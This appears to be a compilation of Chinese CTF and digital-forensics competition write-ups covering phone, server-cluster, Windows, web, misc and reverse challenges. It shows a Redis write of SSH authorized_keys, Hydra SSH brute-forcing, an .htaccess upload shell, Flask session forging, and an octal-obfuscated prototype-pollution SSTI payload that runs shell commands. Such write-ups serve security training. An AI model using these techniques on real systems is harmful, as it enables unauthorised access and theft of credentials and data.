127.0.0.1:1090 ... 192.168.88.70:6379 ... OK192.168.88.70:6379> config set dir /root/.ssh/OK192.168.88.70:6379> config set dbfilename "authorized_keys"OK192.168.88.70:6379> saveOK192.168.88.70:6379> 远程登录即可:proxychains ssh -i id_rsa [email protected]
  10. 检材链接:https://pan.baidu.com/s/1fwHb_5svMyK3Gr4-QeNc0Q?pwd=43a3 挂载密码:2024Fic@杭州Powered~by~HL! 手机部分1. 嫌疑人李某的手机型号是? A. Xiaomi MI 2s B. Xiaomi MI 4 C. Xiaomi MI 6 D. Xiaomi MI 8 在火眼中分析到蓝牙名称是Xiaomi MI3W 但是选项中没有,因此我们可以通过useragent.txt去查看手机型号 2. 嫌疑人李某是否可能有平板电脑设备,如有该设备型号是? A. iPad Pro 11 B. Vivo Pad 2 C. MatePad Pro D. Xiaomi Pad 6s wifi连接记录 3. 嫌疑人李某手机开启热点设置的密码是? 火眼秒了 5aada11bc1b5 4. 嫌疑人李某的微信内部ID是? wxid_wnigmud8aj6j12 5. 嫌疑人李某发送给技术人员的网站源码下载地址是什么 新佛曰:諸隸僧殿降吽諸陀摩隸殿僧殿缽殿薩願僧殿宣摩殿嚴願殿是迦咒叻吶嚤須塞亦須阿隸嚤須愍眾殿蜜殿隸願蜜哆蜜亦願是念慧殿隸摩哆殿即隸嚤訶須隸亦愍如如殿囑殿囑 新佛曰秒了(http://hi.pcmoe.net/buddha.html) http://www.honglian7001.com/down 6. 受害者微信用户ID是? 看聊天记录 wxid_u6umc696cms422 7. 嫌疑人李某第一次连接WIFI的时间是? A. 03-14 15:55:57 B. 03-14 16:55:57 C. 03-14 17:55:57 D. 03-14 18:55:57 8. 分析嫌疑人李某的社交习惯,哪一个时间段消息收发最活跃? A. 12:00-14:00 B. 14:00-16:00 C. 16:00-18:00 D. 18:00-20:00 很多都是16:00-18:00 9. 请分析嫌疑人手机,该案件团伙中,还有一名重要参与者警方未抓获,该嫌疑人所使用的微信账号ID为? 案件材料写了李某和赵某喜提玫瑰金手镯,但是通过聊天记录发现愚蠢的土拨鼠也参与了 wxid_06f01lnpavn722 10. 请分析嫌疑人手机,嫌疑人老板组织人员参与赌博活动,所使用的国内访问入口地址为? 192.168.110.110:8000/login 服务器集群题1. esxi服务器的esxi版本为? 直接仿真检材2,火眼会自动识别到esxi6.7.0 仿真后进去也能看到 6.7.0 2. 请分析ESXi服务器,该系统的安装日期为: A. 2024 年 3 月 12 日 星期二 02:04:15 UTC B. 2024 年 3 月 12 日 星期二 02:05:15 UTC C. 2024 年 3 月 12 日 星期二 02:06:15 UTC D. 2024 年 3 月 12 日 星期二 02:07:15 UTC 用root+空密码进去,记得配一下nat的子网ip 3. 请分析ESXi服务器数据存储“datastore”的UUID是? 65efb8a8-ddd817f6-04ff-000c297bd0e6 4. ESXI服务器的原IP地址? 192.168.8.112 5. EXSI服务器中共创建了几个虚拟机? 4 6. 网站服务器绑定的IP地址为? 我启动虚拟机后,没有显示ip 所以直接扫192.168.8.1-192.168.8.255 只有 192.168.8.89能进,等我扫完发现,他又有ip了 然后同时发现192.168.8.128是rocketchat,搜索发现他的端口是3000,也进入了rocketchat的后台 192.168.8.89 7. 网站服务器的登录密码为? 你的队友如果在做windows,可能会找到一个Commonpwd.txt 利用这个字典去爆破 ┌──(root㉿kali)-[/home/kali/Desktop] └─# hydra -l root -P commonPwd.txt ssh://192.168.8.89 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-28 18:42:26 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 147 login tries (l:1/p:147), ~10 tries per task [DATA] attacking ssh://192.168.8.89:22/ [22][ssh] host: 192.168.8.89 login: root password: qqqqqq qqqqqq 8. 网站服务器所使用的管理面板登陆入口地址对应的端口号为: 宝塔秒了 查看默认信息的时候可能会超时,你可以等一等,也可以用下面的方法修改一下 给他设置一个nameserver,他就会立马返回Could not resolve host,然后就可以了 14131 9. 网站服务器的web目录是? 给宝塔修改个密码 但是在这个里面没有找到网站文件,跟/www同目录有个/webapp 在里面找到了源码 /webapp 10. 网站配置中Redis的连接超时时间为多少秒 0 11. 网站普通用户密码中使用的盐值为 !@#qaaxcfvghhjllj788+)_)(( 12. 网站管理员用户密码的加密算法名称是什么 A. des B. rsa C. md5 D. bcrypt 13. 网站超级管理员用户账号创建的时间是? A. 2022-05-09 12:44:41 B. 2022-05-09 13:44:41 C. 2022-05-09 14:44:41 D. 2022-05-09 15:44:41 在jar包中看到数据库信息 如果连接发现连不上 猜测数据库可能没开 然后宝塔里写的数据库位置ip是192.168.8.142,在esxi中发现 data 虚拟机是这个ip 还是之前的hydra爆破 ┌──(root㉿kali)-[/home/kali/Desktop] └─# hydra -l root -P commonPwd.txt ssh://192.168.8.142 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-28 19:22:57 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 147 login tries (l:1/p:147), ~10 tries per task [DATA] attacking ssh://192.168.8.142:22/ [22][ssh] host: 192.168.8.142 login: root password: hl@7001 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 2 final worker threads did not complete until end. [ERROR] 2 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-28 19:23:04 hl@7001登录 发现没有mysql,但是有docker,还有mysql镜像 启动一下 [root@localhost ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 9bf1cecec395 eclipse/mysql "docker-entrypoint..." 6 weeks ago Exited (0) 5 weeks ago mysql [root@localhost ~]# docker start 9bf1cecec395 9bf1cecec395 宝塔后台成功连接 登录数据库查看sys_user表 14. 重构进入网站之后,用户管理下的用户列表页面默认有多少页数据 后台登录还是502,突然想到之前jar包里的密码和这里的不对,如果去改jar包太麻烦,我直接反手改mysql密码 原密码是:JnzssCCsp2NCpcjA 改成:12345678 但是还是502,然后因为我是先做的windows里面bitlocker解密后有个运维笔记,所以看那个 看来还是要修改jar包,因为判断错误,想到数据库是在192.168.8.142中,所以localhost改为192.168.8.142,再把密码改成JnzssCCsp2NCpcjA 修改过程就是在/webapp目录下 [root@localhost webapp]# jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml [root@localhost webapp]# vi BOOT-INF/classes/application-druid.yml [root@localhost webapp]# jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml 然后再根据笔记修改一下redis [root@localhost webapp]# jar xf ruoyi-admin.jar BOOT-INF/classes/application.yml [root@localhost webapp]# vi BOOT-INF/classes/application.yml [root@localhost webapp]# jar uf ruoyi-admin.jar BOOT-INF/classes/application.yml 其次修改sys_job 然后等一会再启动若依 java -jar ruoyi-admin.jar 其次因为之前知道了密码加密是bcrpyt所以生成一个密码替换 10$2ISiYpmPm.pPutoErWZuP.3Oqa4JJOUEmjhOkWM8mcIPLD8aeFDb2 用admin/123456登录 成功进入后台 win! 877 15. 该网站的系统接口文档版本号为 3.8.2 16. 该网站获取订单列表的接口 /api/shopOrder 17. 受害人卢某的用户ID 看手机聊天记录知道账号 10044888 18. 受害人卢某一共充值了多少钱 465222 19、网站设置的单次抽奖价格为多少元【答题格式:20】 10 20、网站显示的总余额数是【答题格式:20.12】 7354468.56 21. 网站数据库的root密码 Windows里有一个navicat连接记录,连接名刚好是data my-secret-pw 22、数据库服务器的操作系统版本是【答题格式:1.2.1234】 7.9.2009 23. 数据库服务器的Docker Server版本是 1.13.1 24. 数据库服务器中数据库容器的完整ID是 9bf1cecec3957a5cd23c24c0915b7d3dd9be5238322ca5646e3d9e708371b765 25. 数据库服务器中数据库容器使用的镜像ID 66c0e7ca4921e941cbdbda9e92242f07fe37c2bcbbaac4af701b4934dfc41d8a 26. 数据库服务器中数据库容器创建的北京时间 A. 2024/3/13 12:15:23 B. 2024/3/13 20:15:23 C. 2024/3/14 00:15:23 D. 2024/3/13 08:15:23 记得加8小时 27. 数据库服务器中数据库容器的ip是 172.17.0.2 28. 分析数据库数据,在该平台邀请用户进群最多的用户的登录IP是 mysql语句 SELECT inviter_id, COUNT(*) AS invite_count FROM app_group_member GROUP BY inviter_id ORDER BY invite_count DESC LIMIT 10; 182.33.2.250 29. 分析数据库数据,在该平台抢得最多红包金额的用户的登录IP是 SELECT user_id, SUM(money) AS total_money FROM app_user_record WHERE notes = '抢群红包' GROUP BY user_id ORDER BY total_money DESC; 43.139.0.193 30、数据库中记录的提现成功的金额总记是多少(不考虑手续费)【答题格式:20.12】 SELECT SUM(amount) AS total_amount FROM app_user_withdraw WHERE status = 3; 35821148.48 31. rocketchat服务器中,有几个真实用户? rocketchat的后台地址是:http://192.168.8.128:3000/home esxi得到ip,然后默认端口是3000 账号密码在Windows里面 [email protected] Zhao 第三个是bot 3 32. rocketchat服务器中,聊天服务的端口号是? 可以去看Windows历史记录,也可以搜一下默认端口 3000 33. rocketchat服务器中,聊天服务的管理员的邮箱是? 见31题 [email protected] 34. rocketchat服务器中,聊天服务使用的数据库的版本号是? 5.0.24 35. rocketchat服务器中,最大的文件上传大小是?(以字节为单位) 104857600 36. rocketchat服务器中,管理员账号的创建时间为? A. 2024/3/14 8:18:54 B. 2024/3/14 8:19:54 C. 2024/3/14 8:17:54 D. 2024/3/14 8:15:54 用https://cn.linux-console.net/?p=1538这个教程重置密码 然后使用ssh,docker-compose.yml允许空密码登录,所以数据库密码空着 37、rocketchat服务器中,技术员提供的涉诈网站地址是?【答题格式:http://192.168.1.1】 http://172.16.80.47 38、综合分析服务器,该团伙的利润分配方案中,老李的利润占比是多少【答题格式:10%】 35% 39、综合分析服务器,该团队“杀猪盘”收网的可能时间段为 A. 2024/3/15 15:00:00-16:00:00 B. 2024/3/15 16:00:00-17:00:00 C. 2024/3/15 17:00:00-18:00:00 D. 2024/3/15 18:00:00-19:00:00 40. 请综合分析,警方未抓获的重要嫌疑人,其使用聊天平台时注册邮箱号为? 老苏没被抓到 [email protected] 41. 分析openwrt镜像,该系统的主机名为 账密在这里 iStoreOS 42. 分析openwrt镜像,该系统的内核版本为 5.10.201 43. 分析openwrt镜像,该静态ip地址为 我这里设置成DHCP了,所以ip不对,正确的应该在Windows里面访问记录 192.168.8.5 44. 分析openwrt镜像,所用网卡的名称为 br-lan 45. 分析openwrt镜像,该系统中装的docker的版本号为 20.10.22 46. 分析openwrt镜像,nastools的配置文件路径为 /root/Configs/NasTools 47. 分析openwrt镜像,使用的vpn代理软件为 passwall2 48. 分析openwrt镜像,vpn实际有多少个可用节点 54 49. 分析openwrt镜像,节点socks的监听端口是多少 1070 50. 分析openwrt镜像,vpn的订阅链接是 https://pqjc.site/api/v1/client/subscribe?token=243d7bf31ca985f8d496ce078333196a windows镜像1. 分析技术员赵某的windows镜像,并计算赵某计算机的原始镜像的SHA1值为? FFD2777C0B966D5FC07F2BAED1DA5782F8DE5AD6 2. 分析技术员赵某的windows镜像,疑似VeraCrypt加密容器的文件的SHA1值为? B25E2804B586394778C800D410ED7BCDC05A19C8 3. 据赵某供述,他会将常用的密码放置在一个文档内,分析技术员赵某的windows镜像,找到技术员赵某的密码字典,并计算该文件的SHA1值? E6EB3D28C53E903A71880961ABB553EF09089007 4. 据赵某供述,他将加密容器的密码隐写在一张图片内,隐写在图片中的容器密码是? qwerasdfzxcv 5. 分析技术员赵某的windows镜像,bitlocker的恢复密钥是什么 解开加密容器就有 404052-011088-453090-291500-377751-349536-330429-257235 6. 分析技术员赵某的windows镜像,bitlocker分区的起始扇区数是 146794496 7. 分析技术员赵某的windows镜像,默认的浏览器是 A. Chrome B. Edge C. IE D. firefox 8. 分析技术员赵某的windows镜像,私有聊天服务器的密码为 做题的时候遇到这种密码,及时分享给队友 Zhao 9. 分析技术员赵某的windows镜像,嫌疑人计算机中有疑似使用AI技术生成的进行赌博宣传的图片,该图片中,宣传的赌博网站地址为? 打个码防封 10. 分析技术员赵某的windows镜像,赵某使用的AI换脸工具名称为? A. stable diffusion B. ROOP C. Midjourney D. DiffusionDraw 一般搜索都能解决,只有ROOP能找到 11. 分析技术员赵某的windows镜像,使用AI换脸功能生成了一张图片,该图片的名称为 看他的终端历史记录 .\python ..\run.py --source "E:/dst01.jpeg" --target "E:/1.pjpg" --output "E:/db.jpg" --frame-processor face_swapper face_enhancer --similar-face-distance 0.85 --temp-frame-format png --temp-frame-quality 18 --output-video-quality 18 --max-memory 4 --execution-provider cpu --execution-threads 4 db.jpg 12. 分析技术员赵某的windows镜像,ai换脸生成图片的参数中--similar-face-distance值为 同上 0.85 13. 分析技术员赵某的windows镜像,嫌疑人使用AI换脸功能所使用的原始图片名称为 同上 dst01.jpeg 14. 分析技术员赵某的windows镜像,赵某与李某沟通中提到的“二维码”解密所用的网站url地址为? 浏览器历史记录 http://hi.pcmoe.net/buddha.html 15. 分析技术员赵某的windows镜像,赵某架设聊天服务器的原始IP地址为? 3000端口的 192.168.8.17 16. 分析技术员赵某的windows镜像,据赵某交代,其在窝点中直接操作服务器进行部署,环境搭建好了之后,使用个人计算机登录聊天室进行沟通,请分析赵某第一次访问聊天室的时间为? A. 2024-03-14 20:30:08 B. 2024-03-14 20:31:08 C. 2024-03-14 20:32:08 D. 2024-03-14 20:33:08 17. 分析技术员赵某的windows镜像,openwrt的后台管理密码是 hl@7001 18. 分析技术员赵某的windows镜像,嫌疑人可能使用什么云来进行文件存储? 易有云 19. 分析技术员赵某的windows镜像,工资表密码是多少 bitlocker分区中有个名单.xlsx,用commonPwd.txt爆破 aa123456 20. 分析技术员赵某的windows镜像,张伟的工资是多少 28300 总结这套题做Windows和做服务器的队友一定要配合好,很多密码在Windows里都能找到。 转载原文链接地址: https://mp.weixin.qq.com/s/uiC1eQA5d41abIygSAc32Q
  11. WEBSQLUP打开题目给了一个登录页面结合名字猜测为SQL注入 查看源码发现有hint提示开发者使用的是模式匹配 所以我尝试使用%来模糊匹配,登陆成功 进入面板之后发现有一个文件上传功能 尝试上传php文件,结果被waf,文件名字不能出现p 我想到了使用.htaccess文件来解析gif文件来getshell 先上传.htaccess文件, 将1.gif当作php解析 接着上传1.gif文件 之后访问uploads/1.gif即可getshell,但是还需要提权读取flag 寻找提权命令 发现tac命令可以使用 CandyShop源码如下 import datetime from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response from wtforms import StringField, PasswordField, SubmitField from wtforms.validators import DataRequired, Length from flask_wtf import FlaskForm import re app = Flask(__name__) app.config['SECRET_KEY'] = 'xxxxxxx' class RegistrationForm(FlaskForm): username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)]) password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)]) submit = SubmitField('Register') class LoginForm(FlaskForm): username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)]) password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)]) submit = SubmitField('Login') class Candy: def __init__(self, name, image): self.name = name self.image = image class User: def __init__(self, username, password): self.username = username self.password = password def verify_password(self, username, password): return (self.username==username) & (self.password==password) class Admin: def __init__(self): self.username = "" self.identity = "" def sanitize_inventory_sold(value): return re.sub(r'[a-zA-Z_]', '', str(value)) def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) candies = [Candy(name="Lollipop", image="images/candy1.jpg"), Candy(name="Chocolate Bar", image="images/candy2.jpg"), Candy(name="Gummy Bears", image="images/candy3.jpg") ] users = [] admin_user = [] @app.route('/register', methods=['GET', 'POST']) def register(): form = RegistrationForm() if form.validate_on_submit(): user = User(username=form.username.data, password=form.password.data) users.append(user) return redirect(url_for('login')) return render_template('register.html', form=form) @app.route('/login', methods=['GET', 'POST']) def login(): form = LoginForm() if form.validate_on_submit(): for u in users: if u.verify_password(form.username.data, form.password.data): session['username'] = form.username.data session['identity'] = "guest" return redirect(url_for('home')) return render_template('login.html', form=form) inventory = 500 sold = 0 @app.route('/home', methods=['GET', 'POST']) def home(): global inventory, sold message = None username = session.get('username') identity = session.get('identity') if not username: return redirect(url_for('register')) if sold >= 10 and sold < 500: sold = 0 inventory = 500 message = "But you have bought too many candies!" return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies) if request.method == 'POST': action = request.form.get('action') if action == "buy_candy": if inventory > 0: inventory -= 3 sold += 3 if inventory == 0: message = "All candies are sold out!" if sold >= 500: with open('secret.txt', 'r') as file: message = file.read() return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies) @app.route('/admin', methods=['GET', 'POST']) def admin(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) admin = Admin() merge(session,admin) admin_user.append(admin) return render_template('admin.html', view='index') @app.route('/admin/view_candies', methods=['GET', 'POST']) def view_candies(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) return render_template('admin.html', view='candies', candies=candies) @app.route('/admin/add_candy', methods=['GET', 'POST']) def add_candy(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) candy_name = request.form.get('name') candy_image = request.form.get('image') if candy_name and candy_image: new_candy = Candy(name=candy_name, image=candy_image) candies.append(new_candy) return render_template('admin.html', view='add_candy') @app.route('/admin/view_inventory', methods=['GET', 'POST']) def view_inventory(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) inventory_value = sanitize_inventory_sold(inventory) sold_value = sanitize_inventory_sold(sold) return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value) @app.route('/admin/add_inventory', methods=['GET', 'POST']) def add_inventory(): global inventory username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) if request.form.get('add'): num = request.form.get('add') inventory += int(num) return render_template('admin.html', view='add_inventory') @app.route('/') def index(): return render_template('index.html') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0', port=1337) 爆破session key得到 a123456 session解密 ┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master] └─$ python2 flask_session_cookie_manager2.py decode -c .eJwNy8EKgCAMANB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxGRrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc {"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"guest","username":"admin"} 伪造加密session ┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master] └─$ python3 flask_session_cookie_manager3.py encode -s a123456 -t '{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"admin","username":"admin"}' eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto 伪造污染inventory 观察源码发现存在原型链污染 @app.route('/admin', methods=['GET', 'POST']) def admin(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) admin = Admin() merge(session,admin) admin_user.append(admin) return render_template('admin.html', view='index') 并发现存在ssti漏洞 @app.route('/admin/view_inventory', methods=['GET', 'POST']) def view_inventory(): username = session.get('username') identity = session.get('identity') if not username or identity != 'admin': return redirect(url_for('register')) inventory_value = sanitize_inventory_sold(inventory) sold_value = sanitize_inventory_sold(sold) return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value) 结合原型链污染,我们可以污染全局变量inventory来造成ssti {"__init__":{"__globals__":{"inventory":"{{7*7}}"}} 但是源码过滤了字母和下划线 def sanitize_inventory_sold(value): return re.sub(r'[a-zA-Z_]', '', str(value)) 尽管禁用了字母但还可以用八进制绕过! 使用脚本伪造payload input = "cat /tmp/9fb871d06639d7665f8c2005f87200fe/e586231aabe38cf5befd176a1ff25fec/6a5d614cfdcd840afead8e3497595126/flag" print("\\'", end="") for letter in input: #print(hex(ord(letter)).replace("0x", r"\x"), end="") #print(hex(ord(letter)).replace("0x", r"\u00"), end="") print(oct(ord(letter)).replace("0o", "\\\\"), end="") print("\\'") #python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}" #{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']}} # __class__;\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\' # __mro__:\'\\137\\137\\155\\162\\157\\137\\137\' # __base__: \'\\137\\137\\142\\141\\163\\145\\163\\137\\137\' #__subclasses__:\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\' [132] #__init__:\'\\137\\137\\151\\156\\151\\164\\137\\137\' #__globals__:\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\' #popen: \'\\160\\157\\160\\145\\156\' # cat /f*;\'\\143\\141\\164\\40\\57\\146\\52\' PS C:\Users\86150\Desktop\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}" .eJx9UttugzAM_RdeWKU9kMR2qv5KOyEoMKG1VGrZpAnx78vFbgOd-oDl2MfnHIdM2fF27crx8tUO2S5rVNNtqW47qzoyhHpbdfXRAlhTE5E1bVOB1UX2nvVNO4z9-OumqubcD670fWuvQ3Vuk1JZ9kM_lmW2m1z-ebrU1ekWj_3w4xguV88wTXm-zw8HZawEMC4g-Ey5QEYCQ_KP1QCiR2if2QVMrZGRy8NBv1ICfNJ82-yV0U_Sfg5JMoIXNsGKWrAZHSip_bMhFYINWTCF5Kzk4h1EFBwgIuF-IVyyHgPEitZVyVUpVB3Yw4j4MwIHRkkDmcMWLO2vO4wWq24YS5osjezPJx5vRVZH2ejnEbRgTSIauJLfh3d6iAziOZDQY3ERwtRPoMTFBAoXMR-kyqHFR-AVQLZUS2qVgO6LeLQVm8g5spSOsvGWaPEwweab-CL0SsC_y3nO5nn-A-EVDjQ.Zt1CFQ.mbfc47fCCO-papkcsSiUKBJXNaI MISCBrickGame修改一下js,跳过匹配的验证即可得到flag 漏洞探踪,流量解密第一阶段发现上传了图片马,并通过访问gateway传参执行了命令 然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234 因此压缩包密码为192.168.30.234 打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。 在某一个文件中找到了提示,加密方式是RC4 在剩余文件中找到了key和raw,即秘钥和密文 把raw前面的key删了用rc4解密就得到flag了 分析第二个流量包,发现使用命令从192.168.1.5 下载了raw和key 得到了加密的flag和key后,在后续流量包提示加密为RC4: 解密得到flag 最安全的加密方式flag: flag{The_m0st_2ecUre_eNcrYption!!!} 流量包一开始有很多数据库的流量,未知 直接筛选http协议,发现有三个post请求,一个上传了php文件,一个上传了图片,一个上传了压缩包 下载附件打开,用Wireshark打开流量,点击左上角文件里的导出对象里的http,将里面的文件全部导出将每个文件依次使用记事本打开,发现index(3).php和index(6).php文件里的内容与其他不同,打开index(6).php发现rar头然后进入wireshark将将它进行原始数据进行转换,转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉,前面找到rar部分,最前面都删掉,后面的---的全部删掉,得到一个压缩包,需要密码,在另一个文件中找到密码 使用php脚本中的pass可以打开压缩包,发现文本文件flag.txt 貌似是单个字符的md5,直接爆破: import hashlib from string import printable as all charset = all data = open("flag.txt", "r").readlines() md5s = dict() for i in charset: md5s[hashlib.md5(i.encode()).hexdigest()] = i print("".join([md5s[i.strip()] for i in data])) Reverseeasyre根据反编译代码结合动调后发现只是简单的异或,但只能得到部分flag,后来发现在比较的数据下面有更全的加密后数据,提取出来解密可得 data = '0d774a04070301575303555405574F4B5100564C4E540102191B00570549140A04030D5F05051D1C060D0A54' last = 50 for i in range(43, -1, -1): char = int(data[i * 2:i * 2 + 2], 16) ^ last print(chr(char), end='') last = char # flag{fcf94739-da66-467c-a77f-b50d12a67437} 1data = '0d774a04070301575303555405574F4B5100564C4E540102191B00570549140A04030D5F05051D1C060D0A54'23last = 504for i in range(43, -1, -1):5 char = int(data[i * 2:i * 2 + 2], 16) ^ last6 print(chr(char), end='')7 last = char8# flag{fcf94739-da66-467c-a77f-b50d12a67437}tmaze动态调试发现迷宫存在内存中,利用地址跳转来走迷宫。经分析后发现和之前数字中国创新大赛半决赛的 HardTree 大同小异,直接把之前的脚本改改就能用了。 首先开启动调后将迷宫所在的内存使用脚本dump出来 auto i,fp; fp = fopen("E:\\a\\ctf\\ccb\\re\\tmaze_16A051A0000_16A051B3000.dmp","wb"); for (i = 0x16A051A0000; i <= 0x16A051B3000; i++) fputc(Byte(i),fp); 1auto i,fp;2fp = fopen("E:\\a\\ctf\\ccb\\re\\tmaze_16A051A0000_16A051B3000.dmp","wb");3for (i = 0x16A051A0000; i <= 0x16A051B3000; i++)4 fputc(Byte(i),fp);然后走迷宫 ase_addr = 0x16A051A0000 start_addr = 0x16A051B1480 - base_addr end_addr = 0x16A051B1840 - base_addr dump_file = open('tmaze_16A051A0000_16A051B3000.dmp', 'rb') file = dump_file.read() def bytes_to_addr(byte_str): num = 0 for ch in byte_str[::-1]: num *= 256 num += ch return num have_node = [] node_path = [] def read_node(node): if node not in have_node: if node == end_addr: print(''.join(node_path)) exit() have_node.append(node) # print(node) x_node = bytes_to_addr(file[node:node + 8]) - base_addr y_node = bytes_to_addr(file[node + 8:node + 16]) - base_addr z_node = bytes_to_addr(file[node + 16:node + 24]) - base_addr if x_node > 0 and file[node+24] == 0: node_path.append('x') read_node(x_node) node_path.pop() if y_node > 0 and file[node+25] == 0: node_path.append('y') read_node(y_node) node_path.pop() if z_node > 0 and file[node+26] == 0: node_path.append('z') read_node(z_node) node_path.pop() have_node.pop() read_node(start_addr) # yzyzyzyzyyzxzyyyzxzyzxxxzxzyyyyyyyyzxzxzyy43 1ase_addr = 0x16A051A00002start_addr = 0x16A051B1480 - base_addr3end_addr = 0x16A051B1840 - base_addr45dump_file = open('tmaze_16A051A0000_16A051B3000.dmp', 'rb')6file = dump_file.read()78def bytes_to_addr(byte_str):9 num = 010 for ch in byte_str[::-1]:11 num *= 25612 num += ch13 return num1415have_node = []16node_path = []1718def read_node(node):19 if node not in have_node:20 if node == end_addr:21 print(''.join(node_path))22 exit()23 have_node.append(node)24 # print(node)25 x_node = bytes_to_addr(file[node:node + 8]) - base_addr26 y_node = bytes_to_addr(file[node + 8:node + 16]) - base_addr27 z_node = bytes_to_addr(file[node + 16:node + 24]) - base_addr28 if x_node > 0 and file[node+24] == 0:29 node_path.append('x')30 read_node(x_node)31 node_path.pop()32 if y_node > 0 and file[node+25] == 0:33 node_path.append('y')34 read_node(y_node)35 node_path.pop()36 if z_node > 0 and file[node+26] == 0:37 node_path.append('z')38 read_node(z_node)39 node_path.pop()40 